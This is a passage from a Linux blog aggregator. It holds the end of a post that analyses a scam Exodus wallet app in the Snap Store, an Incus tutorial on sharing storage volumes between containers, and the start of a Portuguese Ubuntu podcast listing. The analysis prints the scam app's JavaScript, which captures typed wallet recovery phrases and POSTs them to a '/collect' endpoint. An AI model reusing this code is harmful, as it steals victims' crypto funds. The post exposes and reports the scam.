</span></span><span style="display: flex;"><span> <span style="color: #f92672;">default-provider</span>: <span style="color: #ae81ff;">gtk-common-themes</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">gnome-42-2204</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">interface</span>: <span style="color: #ae81ff;">content</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">target</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">default-provider</span>: <span style="color: #ae81ff;">gnome-42-2204</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">hooks</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">configure</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">command-chain</span>:
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">snap/command-chain/hooks-configure-fonts</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">plugs</span>:
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">desktop</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">layout</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">/usr/lib/x86_64-linux-gnu/webkit2gtk-4.1</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">bind</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">bind</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">/usr/share/xml/iso-codes</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">bind</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform/usr/share/xml/iso-codes</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">/usr/share/libdrm</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">bind</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform/usr/share/libdrm</span>
</span></span></code></pre></div><h2 id="digging-deeper">Digging Deeper</h2>
<p>Unlike the <a href="https://popey.com/blog/blog/2024/02/exodus-bitcoin-wallet-490k-swindle/">previous</a> scammy application that was written using Flutter, the developers of this one appear to have made a web page in a WebKit GTK wrapper.</p>
<p>If the network is not available, the application loads with an empty window containing an error message “Could not connect: Network is unreachable”.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-3.png"><img alt="No network" src="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-3_50.png" /></a></p>
<p>I brought the network up, ran Wireshark then launched the rogue application again. The app clearly loads the remote content (html, javascript, css, and logos) then renders it inside the wrapper Window.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/wireshark-1.png"><img alt="Wireshark" src="https://popey.com/blog/blog/images/2024-03-18/wireshark-1_50.png" /></a></p>
<p>The javascript is pretty simple. It has a dictionary of words which are allowed in a recovery key. Here’s a snippet.</p>
<div class="highlight"><pre tabindex="0"><code class="language-javascript" data-lang="javascript"><span style="display: flex;"><span><span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">words</span> <span style="color: #f92672;">=</span> [<span style="color: #e6db74;">'abandon'</span>, <span style="color: #e6db74;">'ability'</span>, <span style="color: #e6db74;">'able'</span>, <span style="color: #e6db74;">'about'</span>, <span style="color: #e6db74;">'above'</span>, <span style="color: #e6db74;">'absent'</span>, <span style="color: #e6db74;">'absorb'</span>,
</span></span><span style="display: flex;"><span> <span style="color: #960050; background-color: #1e0010;">⋮</span>
</span></span><span style="display: flex;"><span> <span style="color: #e6db74;">'youth'</span>, <span style="color: #e6db74;">'zebra'</span>, <span style="color: #e6db74;">'zero'</span>, <span style="color: #e6db74;">'zone'</span>, <span style="color: #e6db74;">'zoo'</span>];
</span></span></code></pre></div><p>As the user types words, the application checks the list.</p>
<div class="highlight"><pre tabindex="0"><code class="language-javascript" data-lang="javascript"><span style="display: flex;"><span><span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">alreadyAdded</span> <span style="color: #f92672;">=</span> {};
</span></span><span style="display: flex;"><span><span style="color: #66d9ef;">function</span> <span style="color: #a6e22e;">checkWords</span>() {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">button</span> <span style="color: #f92672;">=</span> document.<span style="color: #a6e22e;">getElementById</span>(<span style="color: #e6db74;">"continueButton"</span>);
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">inputString</span> <span style="color: #f92672;">=</span> document.<span style="color: #a6e22e;">getElementById</span>(<span style="color: #e6db74;">"areatext"</span>).<span style="color: #a6e22e;">value</span>;
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">words_list</span> <span style="color: #f92672;">=</span> <span style="color: #a6e22e;">inputString</span>.<span style="color: #a6e22e;">split</span>(<span style="color: #e6db74;">" "</span>);
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">foundWords</span> <span style="color: #f92672;">=</span> <span style="color: #ae81ff;">0</span>;
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">words_list</span>.<span style="color: #a6e22e;">forEach</span>(<span style="color: #66d9ef;">function</span>(<span style="color: #a6e22e;">word</span>) {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">if</span> (<span style="color: #a6e22e;">words</span>.<span style="color: #a6e22e;">includes</span>(<span style="color: #a6e22e;">word</span>)) {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">foundWords</span><span style="color: #f92672;">++</span>;
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span> });
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">if</span> (<span style="color: #a6e22e;">foundWords</span> <span style="color: #f92672;">===</span> <span style="color: #a6e22e;">words_list</span>.<span style="color: #a6e22e;">length</span> <span style="color: #f92672;">&&</span> <span style="color: #a6e22e;">words_list</span>.<span style="color: #a6e22e;">length</span> <span style="color: #f92672;">===</span> <span style="color: #ae81ff;">12</span> <span style="color: #f92672;">||</span> <span style="color: #a6e22e;">words_list</span>.<span style="color: #a6e22e;">length</span> <span style="color: #f92672;">===</span> <span style="color: #ae81ff;">18</span> <span style="color: #f92672;">||</span> <span style="color: #a6e22e;">words_list</span>.<span style="color: #a6e22e;">length</span> <span style="color: #f92672;">===</span> <span style="color: #ae81ff;">24</span>) {
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">button</span>.<span style="color: #a6e22e;">style</span>.<span style="color: #a6e22e;">backgroundColor</span> <span style="color: #f92672;">=</span> <span style="color: #e6db74;">"#511ade"</span>;
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">if</span> (<span style="color: #f92672;">!</span><span style="color: #a6e22e;">alreadyAdded</span>[<span style="color: #a6e22e;">words_list</span>]) {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">sendPostRequest</span>(<span style="color: #a6e22e;">words_list</span>);
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">alreadyAdded</span>[<span style="color: #a6e22e;">words_list</span>] <span style="color: #f92672;">=</span> <span style="color: #66d9ef;">true</span>;
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">button</span>.<span style="color: #a6e22e;">addEventListener</span>(<span style="color: #e6db74;">"click"</span>, <span style="color: #66d9ef;">function</span>() {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">renderErrorImport</span>();
</span></span><span style="display: flex;"><span> });
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">else</span>{
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">button</span>.<span style="color: #a6e22e;">style</span>.<span style="color: #a6e22e;">backgroundColor</span> <span style="color: #f92672;">=</span> <span style="color: #e6db74;">"#533e89"</span>;
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span>}
</span></span></code></pre></div><p>If all the entered words are in the dictionary, it will allow the use of the “Continue” button to send a “POST” request to a <code>/collect</code> endpoint on the server.</p>
<div class="highlight"><pre tabindex="0"><code class="language-javascript" data-lang="javascript"><span style="display: flex;"><span><span style="color: #66d9ef;">function</span> <span style="color: #a6e22e;">sendPostRequest</span>(<span style="color: #a6e22e;">words</span>) {
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">data</span> <span style="color: #f92672;">=</span> {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">name</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'exodus'</span>,
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">data</span><span style="color: #f92672;">:</span> <span style="color: #a6e22e;">words</span>
</span></span><span style="display: flex;"><span> };
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">fetch</span>(<span style="color: #e6db74;">'/collect'</span>, {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">method</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'POST'</span>,
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">headers</span><span style="color: #f92672;">:</span> {
</span></span><span style="display: flex;"><span> <span style="color: #e6db74;">'Content-Type'</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'application/json'</span>
</span></span><span style="display: flex;"><span> },
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">body</span><span style="color: #f92672;">:</span> <span style="color: #a6e22e;">JSON</span>.<span style="color: #a6e22e;">stringify</span>(<span style="color: #a6e22e;">data</span>)
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #a6e22e;">then</span>(<span style="color: #a6e22e;">response</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">if</span> (<span style="color: #f92672;">!</span><span style="color: #a6e22e;">response</span>.<span style="color: #a6e22e;">ok</span>) {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">throw</span> <span style="color: #66d9ef;">new</span> Error(<span style="color: #e6db74;">'Error during the request'</span>);
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">return</span> <span style="color: #a6e22e;">response</span>.<span style="color: #a6e22e;">json</span>();
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #a6e22e;">then</span>(<span style="color: #a6e22e;">data</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">console</span>.<span style="color: #a6e22e;">log</span>(<span style="color: #e6db74;">'Response:'</span>, <span style="color: #a6e22e;">data</span>);
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #66d9ef;">catch</span>(<span style="color: #a6e22e;">error</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">console</span>.<span style="color: #a6e22e;">error</span>(<span style="color: #e6db74;">'There is an error:'</span>, <span style="color: #a6e22e;">error</span>);
</span></span><span style="display: flex;"><span> });
</span></span><span style="display: flex;"><span>}
</span></span></code></pre></div><p>Here you can see in the payload, the words I typed, selected from the dictionary mentioned above.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/wireshark-2.png"><img alt="Wireshark" src="https://popey.com/blog/blog/images/2024-03-18/wireshark-2_50.png" /></a></p>
<p>It also periodically ‘pings’ the <code>/ping</code> endpoint on the server with a simple payload of <code>{" name":"exodus"}</code>. Presumably for network connectivity checking, telemetry or seeing which of the scam wallet applications are in use.</p>
<div class="highlight"><pre tabindex="0"><code class="language-javascript" data-lang="javascript"><span style="display: flex;"><span><span style="color: #66d9ef;">function</span> <span style="color: #a6e22e;">sendPing</span>() {
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">var</span> <span style="color: #a6e22e;">data</span> <span style="color: #f92672;">=</span> {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">name</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'exodus'</span>,
</span></span><span style="display: flex;"><span> };
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">fetch</span>(<span style="color: #e6db74;">'/ping'</span>, {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">method</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'POST'</span>,
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">headers</span><span style="color: #f92672;">:</span> {
</span></span><span style="display: flex;"><span> <span style="color: #e6db74;">'Content-Type'</span><span style="color: #f92672;">:</span> <span style="color: #e6db74;">'application/json'</span>
</span></span><span style="display: flex;"><span> },
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">body</span><span style="color: #f92672;">:</span> <span style="color: #a6e22e;">JSON</span>.<span style="color: #a6e22e;">stringify</span>(<span style="color: #a6e22e;">data</span>)
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #a6e22e;">then</span>(<span style="color: #a6e22e;">response</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">if</span> (<span style="color: #f92672;">!</span><span style="color: #a6e22e;">response</span>.<span style="color: #a6e22e;">ok</span>) {
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">throw</span> <span style="color: #66d9ef;">new</span> Error(<span style="color: #e6db74;">'Error during the request'</span>);
</span></span><span style="display: flex;"><span> }
</span></span><span style="display: flex;"><span> <span style="color: #66d9ef;">return</span> <span style="color: #a6e22e;">response</span>.<span style="color: #a6e22e;">json</span>();
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #a6e22e;">then</span>(<span style="color: #a6e22e;">data</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">console</span>.<span style="color: #a6e22e;">log</span>(<span style="color: #e6db74;">'Response:'</span>, <span style="color: #a6e22e;">data</span>);
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span> })
</span></span><span style="display: flex;"><span> .<span style="color: #66d9ef;">catch</span>(<span style="color: #a6e22e;">error</span> => {
</span></span><span style="display: flex;"><span> <span style="color: #a6e22e;">console</span>.<span style="color: #a6e22e;">error</span>(<span style="color: #e6db74;">'There is an error:'</span>, <span style="color: #a6e22e;">error</span>);
</span></span><span style="display: flex;"><span> });
</span></span><span style="display: flex;"><span>}
</span></span></code></pre></div><p>All of this is done over HTTP, because of course it is. No security needed here!</p>
<h2 id="conclusion">Conclusion</h2>
<p>It’s trivially easy to publish scammy applications like this in the Canonical Snap Store, and for them to go unnoticed.</p>
<p>I was <strong>somewhat</strong> hopeful that my previous <a href="https://popey.com/blog/blog/2024/02/exodus-bitcoin-wallet-490k-swindle/">post</a> may have had some impact. It doesn’t look like much has changed yet beyond a couple of conversations on the forum.</p>
<p>It would be <strong>really</strong> <em>neat</em> if the team at Canonical responsible for the store could do something to prevent these kinds of apps before they get into the hands of users.</p>
<p>I’ve reported the app to the Snap Store team.</p>
<p>Until next time, Brenda!</p>2024-03-18T20:00:00+00:00Simos Xenitellis: How to manage the files of several Incus containers from a separate Incus container
https://blog.simos.info/how-to-manage-the-files-of-several-incus-containers-from-a-separate-incus-container/
<p><a href="https://linuxcontainers.org/incus/">Incus</a> is a manager for virtual machines and system containers. </p>
<p>A <strong>system container</strong> is an instance of an operating system that also runs on a computer, along with the main operating system. A system container uses, instead, security primitives of the Linux kernel for the separation from the main operating system. You can think of system containers as <em>software virtual machines</em>.</p>
<p>In this post we are going to see <strong><em>how to conveniently manage the files of several Incus containers from a separate Incus container</em></strong>. The common use-case is that you have several Incus containers that each one of them is a Website and you want your Web developer to have access to the files from a central location with either FTP or SFTP. Ideally, that central location should be an Incus container as well.</p>
<p>Therefore, we are looking on <strong><em>how to share storage between containers</em></strong>. The other case that we are not looking here, is how to share storage between the host and the containers. </p>
<h2 class="wp-block-heading" id="the-setup">The setup</h2>
<p>We are creating several Incus containers and each one of them is a separate web server. Each web server expects to find the Web content files in the <code>/var/www/</code> directory. Then, we want to create a separate container for the Web developer in order to give access to those <code>/var/www/</code> directories from some central location. The Web developer will get access to that specific container and only that container. As Incus admins we are supposed to provide access to the Web developer to that specific container through SSH or FTP. </p>
<p>In this setup, the Incus container for the web server is <code>webserver1</code> and the Web developer’s container is called <code>webdev</code>.</p>
<p>We will be creating <em><strong>storage volumes</strong></em> for each web server from the Incus storage pool, then <code>incus attach</code> those volumes to both the corresponding web server container and the Web developer’s container. </p>
<h2 class="wp-block-heading" id="setting-up-the-incus-container-for-webserver1">Setting up the Incus container for <code>webserver1</code></h2>
<p>First we create the web server container, <code>webcontainer1</code>, and install the web server package. By default, the <em>nginx</em> web server creates a directory <code>html</code> into <code>/var/www/</code> for our default Web server. In there we will be attaching in the <em>next+3</em> step the storage volume to store the files for this web server .</p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:debian/12/cloud webserver1</kbd>
Launching webserver1
$ <kbd>incus exec webserver1 -- su --login debian</kbd>
debian@webserver1:~$ <kbd>sudo apt update</kbd>
...
debian@webserver1:~$ <kbd>sudo apt install -y nginx</kbd>
...
debian@webserver1:~$ <kbd>cd /var/www/</kbd>
debian@webserver1:/var/www$ <kbd>ls -l</kbd>
total 1
drwxr-xr-x 2 root root 3 Mar 14 08:34 html
debian@webserver1:/var/www$ <kbd>ls -l html/</kbd>
total 1
-rw-r--r-- 1 root root 615 Mar 14 08:34 index.nginx-debian.html
debian@webserver1:/var/www$ </code></pre>
<h2 class="wp-block-heading" id="setting-up-the-incus-container-for-webdev">Setting up the Incus container for <code>webdev</code></h2>
<p>Then, we create the Incus container for the Web developer. Ideally, you should provide access to this container to your Web developer through SSH/SFTP. Use <code>incus config device add</code> to create a <em>proxy device</em> in order to give access to your Web developer. Here, we create a <code>WEBDEV</code> directory in the home directory of the default <code>debian</code> user account of this container. In there, in the next step, we will be attaching the separate storage volumes of each web server. </p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:debian/12/cloud webdev</kbd>
Launching webdev
$ <kbd>incus exec webdev -- su --login debian</kbd>
debian@webdev:~$ <kbd>pwd</kbd>
/home/debian
debian@webdev:~$ <kbd>mkdir WEBDEV</kbd>
debian@webdev:~$ <kbd>ls -l </kbd>
total 1
drwxr-xr-x 2 debian debian 2 Mar 14 09:28 WEBDEV
debian@webdev:~$ </code></pre>
<h2 class="wp-block-heading" id="setting-up-the-storage-volume-for-each-web-server">Setting up the storage volume for each web server</h2>
<p>When you launch an Incus container, you get automatically a single storage volume for the files of that container. We are treating ourselves and we create an extra storage volume for the web data. But let’s learn a bit about storage, storage pools and storage volumes. </p>
<p>We run <code>incus storage list</code> to get a list of storage pools for our installation. In this case, the <strong><em>storage pool</em></strong> is called <code>default</code>(<em>name</em>), we are using ZFS for storage (<em>driver</em>), and the ZFS pool (<em>source</em>) is called <code>default</code> as well. For the last part, you can run <code>zpool list</code> to verify the ZFS pool details. For the <code>USED BY</code>number of 89 in this example, you can verify it from the output of <code>zfs list</code>.</p>
<pre class="wp-block-code"><code>$ <kbd>incus storage list</kbd>
+---------+--------+---------+-------------+---------+---------+
| NAME | DRIVER | SOURCE | DESCRIPTION | USED BY | STATE |
+---------+--------+---------+-------------+---------+---------+
| default | zfs | default | | 89 | CREATED |
+---------+--------+---------+-------------+---------+---------+
$ <kbd>zpool list</kbd>
NAME SIZE ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
default 512G 136.9G 375.1G - - 8% 18% 1.00x ONLINE -
$ </code></pre>
<p>We run <code>incus storage volume list</code> to get a list of the storage volumes in Incus. I am not show the output here because it’s big. The first column is the <strong><em>type</em></strong> of the storage volume, either</p>
<ol>
<li><code>container</code>, one per system container, </li>
<li><code>image</code>, for each cache image from a remote like <a href="http://images.linuxcontainers.org">images.linuxcontainers.org</a>, </li>
<li><code>virtual-machine</code>, for each virtual machine, or</li>
<li> <code>custom</code>, for those created by ourselves as we are going to do in a moment.</li>
</ol>
<p>The fourth column is the <strong><em>content-type</em></strong> of a storage volume, and this can be either <code>filesystem</code> or <code>block</code>. The default when creating storage volumes is <code>filesystem</code> and we will be creating <code>filesystem</code> in a bit. </p>
<h3 class="wp-block-heading" id="creating-the-webdata1-storage-volume">Creating the <code>webdata1</code> storage volume</h3>
<p>Now we are ready to create the <code>webdata1</code> storage volume. In the functionality of the <code>incus storage volume</code>, we use the <code>create</code> command to create on the <code>default</code> storage pool the <code>webdata1</code> storage volume, which is of type <code>filesystem</code>.</p>
<pre class="wp-block-code"><code>$ <kbd>incus storage volume create default webdata1 --type=filesystem</kbd>
Storage volume webdata1 created
$ </code></pre>
<h3 class="wp-block-heading" id="attaching-the-webdata1storage-volume-to-the-web-server-container">Attaching the <code>webdata1</code>storage volume to the web server container</h3>
<p>Now we can attach the <code>webdata</code> storage volume to the <code>webserver1</code> container. In the functionality of the <code>incus storage volume</code>, we use the <code>attach</code> command to <code>attach</code> from the <code>default</code> storage pool the <code>webdata1</code> storage volume to the <code>webserver1</code> container, and mount it over the <code>/var/www/html/</code> path.</p>
<pre class="wp-block-code"><code>$ <kbd>incus storage volume attach default webdata1 webserver1 /var/www/html/</kbd>
$ </code></pre>
<h3 class="wp-block-heading" id="attaching-the-webdata1storage-volume-to-the-webdev-container">Attaching the <code>webdata1</code>storage volume to the webdev container</h3>
<p>Now we can attach the <code>webdata</code> storage volume to the <code>webdev</code> container. In the functionality of the <code>incus storage volume</code>, we use the <code>attach</code> command to <code>attach</code> from the <code>default</code> storage pool the <code>webdata1</code> storage volume to the <code>webdev</code> container, and mount it over the <code>/home/debian/WEBDEV/</code> path.</p>
<pre class="wp-block-code"><code>$ <kbd>incus storage volume attach default webdata1 webdev /home/debian/WEBDEV/webserver1</kbd>
$ </code></pre>
<h3 class="wp-block-heading" id="preparing-the-storage-volume-for-webserver1">Preparing the storage volume for <code>webserver1</code></h3>
<p>We have attached the storage volume into both the web server container and the web development container. Let’s setup the initial permissions and setup some simple hello world HTML file. We get a shell into the web development container <code>webdev</code>, and observe that the storage volume has been mounted. The default permissions are <code>drwxr-xr-x</code> and we replace them into <code>drwxr-xr-x</code>. That is, we can list the contents of the directory. Then, we changed the owner:group into <code>debian:debian</code>in order to allow all access to the Web developer when they edit the files.</p>
<pre class="wp-block-code"><code>$ <kbd>incus exec webdev -- su --login debian</kbd>
debian@webdev:~$ <kbd>ls -l</kbd>
total 1
drwxr-xr-x 3 debian debian 3 Mar 14 10:33 WEBDEV
debian@webdev:~$ <kbd>cd WEBDEV/</kbd>
debian@webdev:~/WEBDEV$ <kbd>ls -l</kbd>
total 1
drwx--x--x 2 root root 2 Mar 14 09:59 webserver1
debian@webdev:~/WEBDEV$ <kbd>sudo chmod 755 webserver1/</kbd>
debian@webdev:~/WEBDEV$ <kbd>sudo chown debian:debian webserver1/</kbd>
debian@webdev:~/WEBDEV$ <kbd>ls -l</kbd>
total 1
drwxr-xr-x 2 debian debian 2 Mar 14 09:59 webserver1
debian@webdev:~/WEBDEV$ </code></pre>
<h3 class="wp-block-heading" id="creating-an-initial-helloworld-html-file">Creating an initial HelloWorld HTML file</h3>
<p>Still in the <code>webdev</code> container, we create an initial HTML file. Note that once you paste the HTML code, you press Ctrl+d to save the <code>index.html</code> file.</p>
<pre class="wp-block-code"><code>debian@webdev:~/WEBDEV$ <kbd>cd webserver1</kbd>
debian@webdev:~/WEBDEV/webserver1$ <kbd>cat > index.html</kbd>
<kbd><!DOCTYPE HTML>
<html>
<head>
<title>Welcome to Incus</title>
<meta charset="utf-8" />
</head>
<style>
body {
background: rgb(2,0,36);
background: linear-gradient(90deg, rgba(2,0,36,1) 0%, rgba(9,9,121,1) 35%, rgba(0,212,255,1) 100%);
}
h1,p {
color: white;
text-align: center;
}
</style>
<body>
<h1>Welcome to Incus</h1>
<p>The web development data of this web server are stored in an Incus storage volume. </p>
<p>This storage volume is attached to both the web server container and a web development container. </p>
</body>
</html></kbd>
Ctrl+d
debian@webdev:~/WEBDEV/webserver1$ <kbd>ls -l</kbd>
total 1
-rw-r--r-- 1 debian debian 608 Mar 14 11:05 index.html
debian@webdev:~/WEBDEV/webserver1$ <kbd>logout</kbd>
$ </code></pre>
<h3 class="wp-block-heading" id="testing-the-result">Testing the result</h3>
<p>We visit the web server using our browser. The IP address of the web server is obtained as follows.</p>
<pre class="wp-block-code"><code>$ <kbd>incus list webserver1 -c n4</kbd>
+------------+--------------------+
| NAME | IPV4 |
+------------+--------------------+
| webserver1 | 10.10.10.88 (eth0) |
+------------+--------------------+
$ </code></pre>
<p>This is the HTML page we created. </p>
<figure class="wp-block-image size-full"><a href="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/03/Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus.png?ssl=1"><img alt="" class="wp-image-46543" data-attachment-id="46543" data-comments-opened="1" data-image-caption="" data-image-description="" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus" data-large-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/03/Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus.png?fit=750%2C247&ssl=1" data-medium-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/03/Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus.png?fit=300%2C99&ssl=1" data-orig-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/03/Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus.png?fit=769%2C253&ssl=1" data-orig-size="769,253" data-permalink="https://blog.simos.info/how-to-manage-the-files-of-several-incus-containers-from-a-separate-incus-container/screenshot-2024-03-14-at-13-09-13-welcome-to-incus/" data-recalc-dims="1" height="247" src="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/03/Screenshot-2024-03-14-at-13-09-13-Welcome-to-Incus.png?resize=750%2C247&ssl=1" width="750" /></a></figure>
<h2 class="wp-block-heading" id="conclusion">Conclusion</h2>
<p>We showed how to use a storage volume to separate the web server data files from the web server container. Those files are stored in the Incus storage pool. We attached the same storage volume to a separate container for the Web developer so that they get access to the files and only the files from a central location, the <code>webdev</code> container. </p>
<p>An additional task would be to setup <code>git</code> in the <code>webdev</code> container so that any changes to the web files are tracked. </p>
<p>You can also <code>detach</code> storage volumes (no shown here).</p>
<p>You would use <code>incus config device</code> to create a proxy device to give external access to the Web developer. Preferably over SSH/SFTP, instead of just plain FTP. In fact in terms of usability it does not make a difference between the two. Yeah, please use SFTP. All web development tools should support SFTP.</p>
<p></p>
<div class="saboxplugin-wrap"><div class="saboxplugin-tab"><div class="saboxplugin-gravatar"><img alt="Simos Xenitellis" class="avatar avatar-100 photo" height="100" src="https://secure.gravatar.com/avatar/5c04c6b5f513d926ea9d77782a3843a1?s=100&d=wavatar&r=g" width="100" /></div><div class="saboxplugin-authorname"><a class="vcard author" href="https://blog.simos.info/author/simos/" rel="author"><span class="fn">Simos Xenitellis</span></a></div><div class="saboxplugin-desc"><div></div></div><div class="saboxplugin-web "><a href="https://blog.simos.info/" target="_self">blog.simos.info/</a></div><div class="clearfix"></div></div></div>2024-03-14T11:31:58+00:00Simos XenitellisPodcast Ubuntu Portugal: E290 Esparguete Partido Com Ananás, Com Giovanni Manghi
https://podcastubuntuportugal.org/e290/
<p>"Todos à Tabacaria, Comprar a PC Guia!", é o novo motto do podcast. Neste episódio recebemos a visita de Giovanni Manghi - biólogo que trabalha com sistemas de informação geográfica (SIG) em Portugal desde 2008 e é militante ferrenho do Software Livre em todas as iniciativas que organiza e lugares por onde passa - nomeadamente do Qgis e sistemas GNU-Linux. Pelo caminho, falámos de confusões com o nome Ubuntu; aprender e ensinar com uma multidão de professores; distribuições Alentejanas; casos de sucesso de implantação de FLOSS em Portugal; o que falta fazer e perspectivas de futuro.</p>
<p>Já sabem: oiçam, subscrevam e partilhem!</p>
<ul>
<li>
<p><a href="https://naturalgis.pt">https://naturalgis.pt</a></p>
</li>
<li>
<p><a href="https://arstechnica.com/gadgets/2024/02/hdmi-forum-to-amd-no-you-cant-make-an-open-source-hdmi-2-1-driver/">https://arstechnica.com/gadgets/2024/02/hdmi-forum-to-amd-no-you-cant-make-an-open-source-hdmi-2-1-driver/</a></p>
</li>
<li>
<p><a href="https://fsfe.org/news/2024/news-20240312-01.en.html">https://fsfe.org/news/2024/news-20240312-01.en.html</a></p>
</li>
<li>
<p><a href="https://www.edps.europa.eu/press-publications/press-news/press-releases/2024/european-commissions-use-microsoft-365-infringes-data-protection-law-eu-institutions-and-bodies_en">https://www.edps.europa.eu/press-publications/press-news/press-releases/2024/european-commissions-use-microsoft-365-infringes-data-protection-law-eu-institutions-and-bodies_en</a></p>
</li>
<li>
<p><a href="https://youtu.be/My7bC4jNfcc">https://youtu.be/My7bC4jNfcc</a></p>
</li>
<li>
<p><a href="https://loco.ubuntu.com/teams/ubuntu-pt/">https://loco.ubuntu.com/teams/ubuntu-pt/</a></p>
</li>
<li>
